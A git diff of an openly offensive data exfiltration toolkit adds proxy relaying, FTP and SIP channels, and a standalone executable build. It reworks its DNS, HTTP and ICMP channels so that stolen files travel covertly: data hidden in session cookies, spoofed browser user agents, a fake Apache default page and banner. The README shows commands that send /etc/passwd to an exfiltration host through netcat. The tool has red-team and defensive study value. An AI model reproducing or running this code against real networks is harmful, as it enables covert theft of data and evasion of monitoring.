diff --git a/.gitignore b/.gitignore index 2ce9826..5c86003 100644 --- a/.gitignore +++ b/.gitignore @@ -1,2 +1,4 @@ *.pyc -*.pem \ No newline at end of file +*.pem +build +dist diff --git a/README.md b/README.md index 8eb3f63..908c80c 100644 --- a/README.md +++ b/README.md @@ -1,3 +1,5 @@ +[![Black Hat Arsenal](https://www.toolswatch.org/badges/arsenal/2016.svg)](https://www.blackhat.com/us-16/arsenal.html#det) + DET (extensible) Data Exfiltration Toolkit ======= @@ -53,51 +55,58 @@ pip install -r requirements.txt --user # Configuration In order to use DET, you will need to configure it and add your proper settings (eg. SMTP/IMAP, AES256 encryption -passphrase and so on). A configuration example file has been provided and is called: ```config-sample.json``` +passphrase, proxies and so on). A configuration example file has been provided and is called: ```config-sample.json``` ```json { "plugins": { "http": { - "target": "192.168.1.101", - "port": 8080 - }, - "google_docs": { - "target": "192.168.1.101", + "target": "192.168.0.12", "port": 8080, + "proxies": ["192.168.0.13", "192.168.0.14"] }, + "google_docs": { + "target": "conchwaiter.uk.plak.cc", + "port": 8080 + }, "dns": { "key": "google.com", - "target": "192.168.1.101", - "port": 53 + "target": "192.168.0.12", + "port": 53, + "proxies": ["192.168.0.13", "192.168.0.14"] }, - "gmail": { - "username": "dataexfil@gmail.com", - "password": "ReallyStrongPassword", - "server": "smtp.gmail.com", - "port": 587 +[...SNIP...] + "icmp": { + "target": "192.168.0.12", + "proxies": ["192.168.0.13", "192.168.0.14"] }, - "tcp": { - "target": "192.168.1.101", - "port": 6969 + "slack": { + "api_token": "xoxb-XXXXXXXXXXX", + "chan_id": "XXXXXXXXXXX", + "bot_id": "<@XXXXXXXXXXX>:" }, - "udp": { - "target": "192.168.1.101", - "port": 6969 + "smtp": { + "target": "192.168.0.12", + "port": 25, + "proxies": ["192.168.0.13", "192.168.0.14"] }, - "twitter": { - "username": "PaulWebSec", - "CONSUMER_TOKEN": "XXXXXXXXX", - "CONSUMER_SECRET": "XXXXXXXXX", - "ACCESS_TOKEN": "XXXXXXXXX", - "ACCESS_TOKEN_SECRET": "XXXXXXXXX" + "ftp": { + "target": "192.168.0.12", + "port": 21, + "proxies": ["192.168.0.13", "192.168.0.14"] }, - "icmp": { - "target": "192.168.1.101" + "sip": { + "target": "192.168.0.12", + "port": 5060, + "proxies": ["192.168.0.13", "192.168.0.14"] } }, "AES_KEY": "THISISACRAZYKEY", - "sleep_time": 10 + "max_time_sleep": 10, + "min_time_sleep": 1, + "max_bytes_read": 400, + "min_bytes_read": 300, + "compression": 1 } ``` @@ -108,7 +117,7 @@ passphrase and so on). A configuration example file has been provided and is cal ```bash python det.py -h usage: det.py [-h] [-c CONFIG] [-f FILE] [-d FOLDER] [-p PLUGIN] [-e EXCLUDE] - [-L] + [-L | -Z] Data Exfiltration Toolkit (SensePost) @@ -120,6 +129,7 @@ optional arguments: -p PLUGIN Plugins to use (eg. '-p dns,twitter') -e EXCLUDE Plugins to exclude (eg. '-e gmail,icmp') -L Server mode + -Z Proxy mode ``` ## Server-side: @@ -161,6 +171,18 @@ To load every plugin and exclude DNS: ```bash python det.py -c ./config.json -e dns -f /etc/passwd ``` +You can also listen for files from stdin (e.g output of a netcat listener): + +```bash +nc -lp 1337 | python det.py -c ./config.json -e http -f stdin +``` +Then send the file to netcat: + +```bash +nc $exfiltration_host 1337 -q 0 < /etc/passwd +``` +Don't forget netcat's `-q 0` option so that netcat quits once it has finished sending the file. + And in PowerShell (HTTP module): ```powershell @@ -169,6 +191,69 @@ PS C:\Users\user01\Desktop> . .\http_exfil.ps1 PS C:\Users\user01\Desktop> HTTP-exfil 'C:\path\to\file.exe' ``` +## Proxy mode: + +In this mode the client will proxify the incoming requests towards the final destination. +The proxies addresses should be set in ```config.json``` file. + +```bash +python det.py -c ./config.json -p dns,icmp -Z +``` + +# Standalone package + +DET has been adapted in order to run as a standalone executable with the help of [PyInstaller](http://www.pyinstaller.org/). + +```bash +pip install pyinstaller +``` + +The spec file ```det.spec``` is provided in order to help you build your executable. + +```python +# -*- mode: python -*- + +block_cipher = None + +import sys +sys.modules['FixTk'] = None + +a = Analysis(['det.py'], + pathex=['.'], + binaries=[], + datas=[('plugins', 'plugins'), ('config-sample.json', '.')], + hiddenimports=['plugins/dns', 'plugins/icmp'], + hookspath=[], + runtime_hooks=[], + excludes=['FixTk', 'tcl', 'tk', '_tkinter', 'tkinter', 'Tkinter'], + win_no_prefer_redirects=False, + win_private_assemblies=False, + cipher=block_cipher) +pyz = PYZ(a.pure, a.zipped_data, + cipher=block_cipher) +exe = EXE(pyz, + a.scripts, + a.binaries, + a.zipfiles, + a.datas, + name='det', + debug=False, + strip=False, + upx=True, + console=True ) +``` + +Specify the modules you need to ship with you executable by editing the ```hiddenimports``` array. +In the example above, PyInstaller will package the DNS and ICMP plugins along with your final executable. +Finally, launch PyInstaller: + +```base +pyinstaller det.spec +``` + +Please note that the number of loaded plugins will reflect on the size of the final executable. +If you have issues with the generated executable or found a workaround for a tricky situation, please open an issue so this guide can be updated for everyone. + # Modules So far, DET supports multiple protocols, listed here: @@ -176,29 +261,27 @@ So far, DET supports multiple protocols, listed here: - [X] HTTP(S) - [X] ICMP - [X] DNS -- [X] SMTP/IMAP (eg. Gmail) -- [X] Raw TCP +- [X] SMTP/IMAP (Pure SMTP + Gmail) +- [X] Raw TCP / UDP +- [X] FTP +- [X] SIP - [X] PowerShell implementation (HTTP, DNS, ICMP, SMTP (used with Gmail)) And other "services": - [X] Google Docs (Unauthenticated) - [X] Twitter (Direct Messages) - -# Experimental modules - -So far, I am busy implementing new modules which are almost ready to ship, including: - -- [ ] Skype (95% done) -- [ ] Tor (80% done) -- [ ] Github (30/40% done) +- [X] Slack # Roadmap - [X] Add proper encryption (eg. AES-256) Thanks to [ryanohoro](https://github.com/ryanohoro) - [X] Compression (extremely important!) Thanks to [chokepoint](https://github.com/chokepoint) +- [X] Add support for C&C-like multi-host file exfiltration (Proxy mode) +- [ ] Discovery mode (where distributed agents can learn about the presence of each other) +- [ ] Egress traffic testing - [ ] Proper data obfuscation and integrating [Cloakify Toolset Toolset](https://github.com/trycatchhcf/cloakify) -- [ ] FTP, FlickR [LSB Steganography](https://github.com/RobinDavid/LSB-Steganography) and Youtube modules +- [ ] FlickR [LSB Steganography](https://github.com/RobinDavid/LSB-Steganography) and Youtube modules # References @@ -213,7 +296,7 @@ Some pretty cool references/credits to people I got inspired by with their proje # Contact/Contributing -You can reach me on Twitter [@PaulWebSec](https://twitter.com/PaulWebSec). +You can reach me on Twitter [@PaulWebSec](https://twitter.com/PaulWebSec). Feel free if you want to contribute, clone, fork, submit your PR and so on. # License diff --git a/config-sample.json b/config-sample.json index d0d100d..dbb3a49 100644 --- a/config-sample.json +++ b/config-sample.json @@ -2,7 +2,8 @@ "plugins": { "http": { "target": "192.168.0.12", - "port": 8080 + "port": 8080, + "proxies": ["192.168.0.13", "192.168.0.14"] }, "google_docs": { "target": "SERVER", @@ -11,7 +12,8 @@ "dns": { "key": "google.com", "target": "192.168.0.12", - "port": 53 + "port": 53, + "proxies": ["192.168.0.13", "192.168.0.14"] }, "gmail": { "username": "dataexfil@gmail.com", @@ -21,11 +23,13 @@ }, "tcp": { "target": "192.168.0.12", - "port": 6969 + "port": 6969, + "proxies": ["192.168.0.13", "192.168.0.14"] }, "udp": { "target": "192.168.0.12", - "port": 6969 + "port": 6969, + "proxies": ["192.168.0.13", "192.168.0.14"] }, "twitter": { "username": "PaulWebSec", @@ -35,12 +39,28 @@ "ACCESS_TOKEN_SECRET": "XXXXXXXXXXX" }, "icmp": { - "target": "192.168.0.12" + "target": "192.168.0.12", + "proxies": ["192.168.0.13", "192.168.0.14"] }, "slack": { "api_token": "xoxb-XXXXXXXXXXX", "chan_id": "XXXXXXXXXXX", "bot_id": "<@XXXXXXXXXXX>:" + }, + "smtp": { + "target": "192.168.0.12", + "port": 25, + "proxies": ["192.168.0.13", "192.168.0.14"] + }, + "ftp": { + "target": "192.168.0.12", + "port": 21, + "proxies": ["192.168.0.13", "192.168.0.14"] + }, + "sip": { + "target": "192.168.0.12", + "port": 5060, + "proxies": ["192.168.0.13", "192.168.0.14"] } }, "AES_KEY": "THISISACRAZYKEY", diff --git a/det.py b/det.py index 565426e..b67018c 100644 --- a/det.py +++ b/det.py @@ -15,6 +15,10 @@ from os.path import isfile, join from Crypto.Cipher import AES from zlib import compress, decompress +from cStringIO import StringIO + +if getattr(sys, 'frozen', False): + os.chdir(sys._MEIPASS) KEY = "" MIN_TIME_SLEEP = 1 @@ -89,11 +93,10 @@ def aes_decrypt(message, key=KEY): return None # Do a md5sum of the file -def md5(fname): +def md5(f): hash = hashlib.md5() - with open(fname) as f: - for chunk in iter(lambda: f.read(4096), ""): - hash.update(chunk) + for chunk in iter(lambda: f.read(4096), ""): + hash.update(chunk) return hash.hexdigest() @@ -180,7 +183,8 @@ def register_file(self, message): files[jobid]['checksum'] = message[3].lower() files[jobid]['filename'] = message[1].lower() files[jobid]['data'] = [] - files[jobid]['packets_number'] = [] + files[jobid]['packets_order'] = [] + files[jobid]['packets_len'] = -1 warning("Register packet for file %s with checksum %s" % (files[jobid]['filename'], files[jobid]['checksum'])) @@ -189,6 +193,9 @@ def retrieve_file(self, jobid): fname = files[jobid]['filename'] filename = "%s.%s" % (fname.replace( os.path.pathsep, ''), time.strftime("%Y-%m-%d.%H:%M:%S", time.gmtime())) + #Reorder packets before reassembling / ugly one-liner hack + files[jobid]['packets_order'], files[jobid]['data'] = \ + [list(x) for x in zip(*sorted(zip(files[jobid]['packets_order'], files[jobid]['data'])))] content = ''.join(str(v) for v in files[jobid]['data']).decode('hex') content = aes_decrypt(content, self.KEY) if COMPRESSION: @@ -196,7 +203,7 @@ def retrieve_file(self, jobid): f = open(filename, 'w') f.write(content) f.close() - if (files[jobid]['checksum'] == md5(filename)): + if (files[jobid]['checksum'] == md5(open(filename))): ok("File %s recovered" % (fname)) else: warning("File %s corrupt!" % (fname)) @@ -216,13 +223,21 @@ def retrieve_data(self, data): self.register_file(message) # done packet elif (message[2] == "DONE"): - self.retrieve_file(jobid) + files[jobid]['packets_len'] = int(message[1]) + #Check if all packets have arrived + if files[jobid]['packets_len'] == len(files[jobid]['data']): + self.retrieve_file(jobid) + else: + warning("[!] Received the last packet, but some are still missing. Waiting for the rest...") # data packet else: # making sure there's a jobid for this file - if (jobid in files and message[1] not in files[jobid]['packets_number']): + if (jobid in files and message[1] not in files[jobid]['packets_order']): files[jobid]['data'].append(''.join(message[2:])) - files[jobid]['packets_number'].append(message[1]) + files[jobid]['packets_order'].append(int(message[1])) + #In case this packet was the last missing one + if files[jobid]['packets_len'] == len(files[jobid]['data']): + self.retrieve_file(jobid) except: raise pass @@ -236,10 +251,22 @@ def __init__(self, exfiltrate, file_to_send): self.exfiltrate = exfiltrate self.jobid = ''.join(random.sample( string.ascii_letters + string.digits, 7)) - self.checksum = md5(file_to_send) + self.checksum = '0' self.daemon = True def run(self): + # checksum + if self.file_to_send == 'stdin': + file_content = sys.stdin.read() + buf = StringIO(file_content) + e = StringIO(file_content) + else: + file_content = open(self.file_to_send, 'rb').read() + buf = StringIO(file_content) + e = StringIO(file_content) + self.checksum = md5(buf) + del file_content + # registering packet plugin_name, plugin_send_function = self.exfiltrate.get_random_plugin() ok("Using {0} as transport method".format(plugin_name)) @@ -255,7 +282,6 @@ def run(self): # sending the data f = tempfile.SpooledTemporaryFile() - e = open(self.file_to_send, 'rb') data = e.read() if COMPRESSION: data = compress(data) @@ -303,7 +329,7 @@ def main(): description='Data Exfiltration Toolkit (SensePost)') parser.add_argument('-c', action="store", dest="config", default=None, help="Configuration file (eg. '-c ./config-sample.json')") - parser.add_argument('-f', action="store", dest="file", + parser.add_argument('-f', action="append", dest="file", help="File to exfiltrate (eg. '-f /etc/passwd')") parser.add_argument('-d', action="store", dest="folder", help="Folder to exfiltrate (eg. '-d /etc/')") @@ -311,8 +337,11 @@ def main(): default=None, help="Plugins to use (eg. '-p dns,twitter')") parser.add_argument('-e', action="store", dest="exclude", default=None, help="Plugins to exclude (eg. '-e gmail,icmp')") - parser.add_argument('-L', action="store_true", + listenMode = parser.add_mutually_exclusive_group() + listenMode.add_argument('-L', action="store_true", dest="listen", default=False, help="Server mode") + listenMode.add_argument('-Z', action="store_true", + dest="proxy", default=False, help="Proxy mode") results = parser.parse_args() if (results.config is None): @@ -335,12 +364,15 @@ def main(): KEY = config['AES_KEY'] app = Exfiltration(results, KEY) - # LISTEN MODE - if (results.listen): + # LISTEN/PROXY MODE + if (results.listen or results.proxy): threads = [] plugins = app.get_plugins() for plugin in plugins: - thread = threading.Thread(target=plugins[plugin]['listen']) + if results.listen: + thread = threading.Thread(target=plugins[plugin]['listen']) + elif results.proxy: + thread = threading.Thread(target=plugins[plugin]['proxy']) thread.daemon = True thread.start() threads.append(thread) @@ -355,7 +387,7 @@ def main(): f in listdir(results.folder) if isfile(join(results.folder, f))] else: - files = [results.file] + files = list(set(results.file)) threads = [] for file_to_send in files: diff --git a/det.spec b/det.spec new file mode 100644 index 0000000..7f281b4 --- /dev/null +++ b/det.spec @@ -0,0 +1,30 @@ +# -*- mode: python -*- + +block_cipher = None + +import sys +sys.modules['FixTk'] = None + +a = Analysis(['det.py'], + pathex=['.'], + binaries=[], + datas=[('plugins', 'plugins'), ('config-sample.json', '.')], + hiddenimports=['plugins/dns', 'plugins/icmp'], + hookspath=[], + runtime_hooks=[], + excludes=['FixTk', 'tcl', 'tk', '_tkinter', 'tkinter', 'Tkinter'], + win_no_prefer_redirects=False, + win_private_assemblies=False, + cipher=block_cipher) +pyz = PYZ(a.pure, a.zipped_data, + cipher=block_cipher) +exe = EXE(pyz, + a.scripts, + a.binaries, + a.zipfiles, + a.datas, + name='det', + debug=False, + strip=False, + upx=True, + console=True ) diff --git a/plugins/dns.py b/plugins/dns.py index 03207db..61885fd 100644 --- a/plugins/dns.py +++ b/plugins/dns.py @@ -1,68 +1,120 @@ -from dnslib import * -try: - from scapy.all import * -except: - print "You should install Scapy if you run the server.." +from dnslib import DNSRecord +import socket +from dpkt import dns +from random import choice app_exfiltrate = None config = None buf = {} - -def handle_dns_packet(x): +def handle_dns_query(qname): global buf try: - qname = x.payload.payload.payload.qd.qname if (config['key'] in qname): app_exfiltrate.log_message( 'info', '[dns] DNS Query: {0}'.format(qname)) - data = qname.split(".")[0] - jobid = data[0:7] - data = data.replace(jobid, '') + jobid = qname[0:7] + data = ''.join(qname[7:].replace(config['key'], '').split('.')) # app_exfiltrate.log_message('info', '[dns] jobid = {0}'.format(jobid)) # app_exfiltrate.log_message('info', '[dns] data = {0}'.format(data)) if jobid not in buf: buf[jobid] = [] if data not in buf[jobid]: buf[jobid].append(data) - if (len(qname) < 68): + #Handle the case where the last label's length == 1 + last_label_len = (252 - len(config['key'])) % 64 + max_query = 252 if last_label_len == 1 else 253 + if (len(qname) < max_query): app_exfiltrate.retrieve_data(''.join(buf[jobid]).decode('hex')) buf[jobid] = [] except Exception, e: # print e pass +def relay_dns_query(domain): + target = config['target'] + port = config['port'] + app_exfiltrate.log_message( + 'info', "[proxy] [dns] Relaying dns query to {0}".format(target)) + q = DNSRecord.question(domain) + try: + q.send(target, port, timeout=0.01) + except: + pass + +def sniff(handler): + sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + IP = "0.0.0.0" + PORT = 53 + sock.bind((IP, PORT)) + while True: + try: + data, addr = sock.recvfrom(65536) + query = dns.DNS(data) + for qname in query.qd: + handler(qname.name + '.') + except: + sock.shutdown() + sock.close() +#Send data over multiple labels (RFC 1034) +#Max query is 253 characters long (textual representation) +#Max label length is 63 bytes def send(data): - target = config['target'] + if config.has_key('proxies') and config['proxies'] != [""]: + targets = [config['target']] + config['proxies'] + else: + targets = [config['target']] port = config['port'] jobid = data.split("|!|")[0] data = data.encode('hex') + domain = "" + + #Calculate the remaining length available for our payload + rem = 252 - len(config['key']) + #Number of 63 bytes labels + no_labels = rem / 64 #( 63 + len('.') ) + #Length of the last remaining label + last_label_len = (rem % 64) - 1 + while data != "": - tmp = data[:66 - len(config['key']) - len(jobid)] - data = data.replace(tmp, '') - domain = "{0}{1}.{2}".format(jobid, tmp, config['key']) - app_exfiltrate.log_message( - 'info', "[dns] Sending {0} to {1}".format(domain, target)) + data = jobid + data + for i in range(0, no_labels): + if data == "": break + label = data[:63] + data = data[63:] + domain += label + '.' + if data == "": + domain += config['key'] + else: + if last_label_len < 1: + domain += config['key'] + else: + label = data[:last_label_len] + data = data[last_label_len:] + domain += label + '.' + config['key'] q = DNSRecord.question(domain) + domain = "" + target = choice(targets) try: q.send(target, port, timeout=0.01) except: # app_exfiltrate.log_message('warning', "[dns] Failed to send DNS request") pass - def listen(): app_exfiltrate.log_message( 'info', "[dns] Waiting for DNS packets for domain {0}".format(config['key'])) - sniff(filter="udp and port {}".format( - config['port']), prn=handle_dns_packet) + sniff(handler=handle_dns_query) +def proxy(): + app_exfiltrate.log_message( + 'info', "[proxy] [dns] Waiting for DNS packets for domain {0}".format(config['key'])) + sniff(handler=relay_dns_query) class Plugin: - def __init__(self, app, conf): global app_exfiltrate, config config = conf - app.register_plugin('dns', {'send': send, 'listen': listen}) + app.register_plugin('dns', {'send': send, 'listen': listen, 'proxy': proxy}) app_exfiltrate = app diff --git a/plugins/ftp.py b/plugins/ftp.py new file mode 100644 index 0000000..0a03679 --- /dev/null +++ b/plugins/ftp.py @@ -0,0 +1,89 @@ +import logging +from ftplib import FTP +from pyftpdlib.handlers import FTPHandler +from pyftpdlib.servers import FTPServer +from pyftpdlib.authorizers import DummyAuthorizer +from random import choice +import base64 + +app_exfiltrate = None +config = None + +user = "user" +passwd = "5up3r5tr0ngP455w0rD" + +class CustomFTPHandler(FTPHandler): + + def ftp_MKD(self, path): + app_exfiltrate.log_message('info', "[ftp] Received MKDIR query from {}".format(self.addr)) + data = str(path).split('/')[-1] + if self.handler == "retrieve": + app_exfiltrate.retrieve_data(base64.b64decode(data)) + elif self.handler == "relay": + relay_ftp_mkdir(data) + # Recreate behavior of the original ftp_MKD function + line = self.fs.fs2ftp(path) + self.respond('257 "%s" directory created.' % line.replace('"', '""')) + return path + +def send(data): + if config.has_key('proxies') and config['proxies'] != [""]: + targets = [config['target']] + config['proxies'] + target = choice(targets) + else: + target = config['target'] + port = config['port'] + try: + ftp = FTP() + ftp.connect(target, port) + ftp.login(user, passwd) + except: + pass + + try: + ftp.mkd(base64.b64encode(data)) + except: + pass + +def relay_ftp_mkdir(data): + target = config['target'] + port = config['port'] + app_exfiltrate.log_message('info', "[proxy] [ftp] Relaying MKDIR query to {}".format(target)) + try: + ftp = FTP() + ftp.connect(target, port) + ftp.login(user, passwd) + except: + pass + try: + ftp.mkd(data) + except: + pass + +def init_ftp(data_handler): + logging.basicConfig(filename="/dev/null", format="", level=logging.INFO) + port = config['port'] + authorizer = DummyAuthorizer() + authorizer.add_user(user, passwd, homedir="/tmp", perm='elradfmw') + + handler = CustomFTPHandler + handler.authorizer = authorizer + handler.handler = data_handler + server = FTPServer(('', port), handler) + server.serve_forever() + +def listen(): + app_exfiltrate.log_message('info', "[ftp] Listening for FTP requests") + init_ftp("retrieve") + +def proxy(): + app_exfiltrate.log_message('info', "[proxy] [ftp] Listening for FTP requests") + init_ftp("relay") + +class Plugin: + + def __init__(self, app, conf): + global app_exfiltrate, config + app_exfiltrate = app + config = conf + app.register_plugin('ftp', {'send': send, 'listen': listen, 'proxy': proxy}) diff --git a/plugins/gmail.py b/plugins/gmail.py index a76fb4e..bfbcfb2 100644 --- a/plugins/gmail.py +++ b/plugins/gmail.py @@ -66,6 +66,10 @@ def listen(): time.sleep(2) +def proxy(): + app_exfiltrate.log_message('info', "[proxy] [gmail] proxy mode unavailable (useless) for gmail plugin...") + + class Plugin: def __init__(self, app, options): @@ -74,5 +78,5 @@ def __init__(self, app, options): gmail_user = options['username'] server = options['server'] server_port = options['port'] - app.register_plugin('gmail', {'send': send, 'listen': listen}) + app.register_plugin('gmail', {'send': send, 'listen': listen, 'proxy': proxy}) app_exfiltrate = app diff --git a/plugins/google_docs.py b/plugins/google_docs.py index 5c25694..726e93e 100644 --- a/plugins/google_docs.py +++ b/plugins/google_docs.py @@ -13,6 +13,11 @@ def send(data): 'info', "[http] Sending {0} bytes to {1}".format(len(data), target)) requests.get(target) +def listen(): + app_exfiltrate.log_message('info', "[Google docs] Listen mode not implemented") + +def proxy(): + app_exfiltrate.log_message('info', "[proxy] [Google docs] proxy mode not implemented") class Plugin: @@ -20,4 +25,4 @@ def __init__(self, app, conf): global app_exfiltrate, config config = conf app_exfiltrate = app - app.register_plugin('google_docs', {'send': send}) + app.register_plugin('google_docs', {'send': send, 'listen': listen, 'proxy': proxy}) diff --git a/plugins/http.py b/plugins/http.py index ea48e20..f940c1b 100644 --- a/plugins/http.py +++ b/plugins/http.py @@ -2,64 +2,111 @@ import base64 from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer import urllib +from random import choice +import platform + +host_os = platform.system() + +if host_os == "Linux": + user_agent = "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0" +elif host_os == "Windows": + user_agent = "Mozilla/5.0 (Windows NT 10.0; Trident/7.0; rv:11.0) like Gecko" +else: + user_agent = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit/601.2.7 (KHTML, like Gecko) Version/9.0.1 Safari/601.2.7" + +headers = requests.utils.default_headers() +headers.update({'User-Agent': user_agent}) + +html_file = open('plugins/misc/default_apache_page.html', 'r') +html_content = html_file.read() config = None app_exfiltrate = None - class S(BaseHTTPRequestHandler): - def _set_headers(self): self.send_response(200) self.send_header('Content-type', 'text/html') self.end_headers() + self.wfile.write(html_content) + + def version_string(self): + return 'Apache/2.4.10' def do_POST(self): self._set_headers() content_len = int(self.headers.getheader('content-length', 0)) post_body = self.rfile.read(content_len) - tmp = post_body.split('=') + tmp = post_body.split('=', 1) if (tmp[0] == "data"): try: data = base64.b64decode(urllib.unquote(tmp[1])) - app_exfiltrate.retrieve_data(data) + self.server.handler(data) except Exception, e: print e pass def do_GET(self): - string = '/'.join(self.path.split('/')[1:]) self._set_headers() - try: - data = base64.b64decode(string) - app_exfiltrate.retrieve_data(data) - except Exception, e: - pass - + if self.headers.has_key('Cookie'): + cookie = self.headers['Cookie'] + string = cookie.split('=', 1)[1].strip() + try: + data = base64.b64decode(string) + self.server.handler(data) + except Exception, e: + print e + pass def send(data): - target = "http://{}:{}".format(config['target'], config['port']) + if config.has_key('proxies') and config['proxies'] != [""]: + targets = [config['target']] + config['proxies'] + target = "http://{}:{}".format(choice(targets), config['port']) + else: + target = "http://{}:{}".format(config['target'], config['port']) app_exfiltrate.log_message( 'info', "[http] Sending {0} bytes to {1}".format(len(data), target)) - data_to_send = {'data': base64.b64encode(data)} - requests.post(target, data=data_to_send) + #Randomly choose between GET and POST + if choice([True, False]): + data_to_send = {'data': base64.b64encode(data)} + requests.post(target, data=data_to_send, headers=headers) + else: + cookies = dict(PHPSESSID=base64.b64encode(data)) + requests.get(target, cookies=cookies, headers=headers) +def relay_http_request(data): + target = "http://{}:{}".format(config['target'], config['port']) + app_exfiltrate.log_message( + 'info', "[proxy] [http] Relaying {0} bytes to {1}".format(len(data), target)) + #Randomly choose between GET and POST + if choice([True, False]): + data_to_send = {'data': base64.b64encode(data)} + requests.post(target, data=data_to_send, headers=headers) + else: + cookies = dict(PHPSESSID=base64.b64encode(data)) + requests.get(target, cookies=cookies, headers=headers) -def listen(): - app_exfiltrate.log_message('info', "[http] Starting httpd...") +def server(data_handler): try: server_address = ('', config['port']) httpd = HTTPServer(server_address, S) + httpd.handler = data_handler httpd.serve_forever() except: app_exfiltrate.log_message( - 'warning', "[http] Couldn't bind http daemon on port {}".format(port)) + 'warning', "[http] Couldn't bind http daemon on port {}".format(config['port'])) +def listen(): + app_exfiltrate.log_message('info', "[http] Starting httpd...") + server(app_exfiltrate.retrieve_data) -class Plugin: +def proxy(): + app_exfiltrate.log_message('info', "[proxy] [http] Starting httpd...") + server(relay_http_request) +class Plugin: def __init__(self, app, conf): global app_exfiltrate, config config = conf app_exfiltrate = app - app.register_plugin('http', {'send': send, 'listen': listen}) + app.register_plugin('http', {'send': send, 'listen': listen, 'proxy': proxy}) diff --git a/plugins/icmp.py b/plugins/icmp.py index 9b93a4e..686235b 100644 --- a/plugins/icmp.py +++ b/plugins/icmp.py @@ -1,41 +1,91 @@ -import logging -logging.getLogger("scapy.runtime").setLevel(logging.ERROR) -from scapy import all as scapy import base64 +import socket +from random import choice, randint +from dpkt import ip, icmp config = None app_exfiltrate = None +def send_icmp(dst, data): + try: + s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP) + except: + app_exfiltrate.log_message('warning', "ICMP plugin requires root privileges") + sys.exit() + ip_dst = socket.gethostbyname(dst) + echo = icmp.ICMP.Echo() + echo.id = randint(0, 0xffff) + echo.seq = 1 + echo.data = data + icmp_pkt = icmp.ICMP() + icmp_pkt.type = icmp.ICMP_ECHO + icmp_pkt.data = echo + try: + s.sendto(icmp_pkt.pack(), (ip_dst, 0)) + except: + app_exfiltrate.log_message('warning', "ICMP plugin requires root privileges") + pass + s.close() def send(data): + if config.has_key('proxies') and config['proxies'] != [""]: + targets = [config['target']] + config['proxies'] + target = choice(targets) + else: + target = config['target'] data = base64.b64encode(data) app_exfiltrate.log_message( - 'info', "[icmp] Sending {} bytes with ICMP packet".format(len(data))) - scapy.sendp(scapy.Ether() / - scapy.IP(dst=config['target']) / scapy.ICMP() / data, verbose=0) - + 'info', "[icmp] Sending {0} bytes with ICMP packet to {1}".format(len(data), target)) + send_icmp(target, data) def listen(): app_exfiltrate.log_message('info', "[icmp] Listening for ICMP packets..") # Filter for echo requests only to prevent capturing generated replies - scapy.sniff(filter="icmp and icmp[0]=8", prn=analyze) + sniff(handler=analyze) +def sniff(handler): + """ Sniffs packets and looks for icmp requests """ + sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP) + sock.bind(('', 1)) + while True : + try: + data = sock.recv(65535) + ip_pkt = ip.IP() + ip_pkt.unpack(data) + icmp_pkt = ip_pkt.data + if icmp_pkt.type == icmp.ICMP_ECHO: + ip_src = socket.inet_ntoa(ip_pkt.src) + ip_dst = socket.inet_ntoa(ip_pkt.dst) + payload = icmp_pkt.data.data + handler(payload, ip_src, ip_dst) + except: + sock.close() -def analyze(packet): - src = packet.payload.src - dst = packet.payload.dst +def analyze(payload, src, dst): try: app_exfiltrate.log_message( - 'info', "[icmp] Received ICMP packet from: {0} to {1}".format(src, dst)) - app_exfiltrate.retrieve_data(base64.b64decode(packet.load)) + 'info', "[icmp] Received ICMP packet from {0} to {1}".format(src, dst)) + app_exfiltrate.retrieve_data(base64.b64decode(payload)) except: pass +def relay_icmp_packet(payload, src, dst): + target = config['target'] + try: + app_exfiltrate.log_message( + 'info', "[proxy] [icmp] Relaying icmp packet to {0}".format(target)) + send_icmp(target, payload) + except: + pass -class Plugin: +def proxy(): + app_exfiltrate.log_message( + 'info', "[proxy] [icmp] Listening for icmp packets") + sniff(handler=relay_icmp_packet) +class Plugin: def __init__(self, app, conf): global app_exfiltrate, config app_exfiltrate = app config = conf - app.register_plugin('icmp', {'send': send, 'listen': listen}) + app.register_plugin('icmp', {'send': send, 'listen': listen, 'proxy': proxy}) diff --git a/plugins/misc/default_apache_page.html b/plugins/misc/default_apache_page.html new file mode 100644 index 0000000..dc4b7c1 --- /dev/null +++ b/plugins/misc/default_apache_page.html @@ -0,0 +1,364 @@ + + + + Apache2 Debian Default Page: It works + + + +
+ + +
+ + +
+
+ It works! +
+
+

+ This is the default welcome page used to test the correct + operation of the Apache2 server after installation on Debian systems. + If you can read this page, it means that the Apache HTTP server installed at + this site is working properly. You should replace this file (located at + /var/www/html/index.html) before continuing to operate your HTTP server. +

+ + +

+ If you are a normal user of this web site and don't know what this page is + about, this probably means that the site is currently unavailable due to + maintenance. + If the problem persists, please contact the site's administrator. +

+ +
+
+
+ Configuration Overview +
+
+

+ Debian's Apache2 default configuration is different from the + upstream default configuration, and split into several files optimized for + interaction with Debian tools. The configuration system is + fully documented in + /usr/share/doc/apache2/README.Debian.gz. Refer to this for the full + documentation. Documentation for the web server itself can be + found by accessing the manual if the apache2-doc + package was installed on this server. + +

+

+ The configuration layout for an Apache2 web server installation on Debian systems is as follows: +

+
/etc/apache2/
+|-- apache2.conf
+|       `--  ports.conf
+|-- mods-enabled
+|       |-- *.load
+|       `-- *.conf
+|-- conf-enabled
+|       `-- *.conf
+|-- sites-enabled
+|       `-- *.conf
+          
+
    +
  • + apache2.conf is the main configuration + file. It puts the pieces together by including all remaining configuration + files when starting up the web server. +
  • + +
  • + ports.conf is always included from the + main configuration file. It is used to determine the listening ports for + incoming connections, and this file can be customized anytime. +
  • + +
  • + Configuration files in the mods-enabled/, + conf-enabled/ and sites-enabled/ directories contain + particular configuration snippets which manage modules, global configuration + fragments, or virtual host configurations, respectively. +
  • + +
  • + They are activated by symlinking available + configuration files from their respective + *-available/ counterparts. These should be managed + by using our helpers + + a2enmod, + a2dismod, + + + a2ensite, + a2dissite, + + and + + a2enconf, + a2disconf + . See their respective man pages for detailed information. +
  • + +
  • + The binary is called apache2. Due to the use of + environment variables, in the default configuration, apache2 needs to be + started/stopped with /etc/init.d/apache2 or apache2ctl. + Calling /usr/bin/apache2 directly will not work with the + default configuration. +
  • +
+
+ +
+
+ Document Roots +
+ +
+

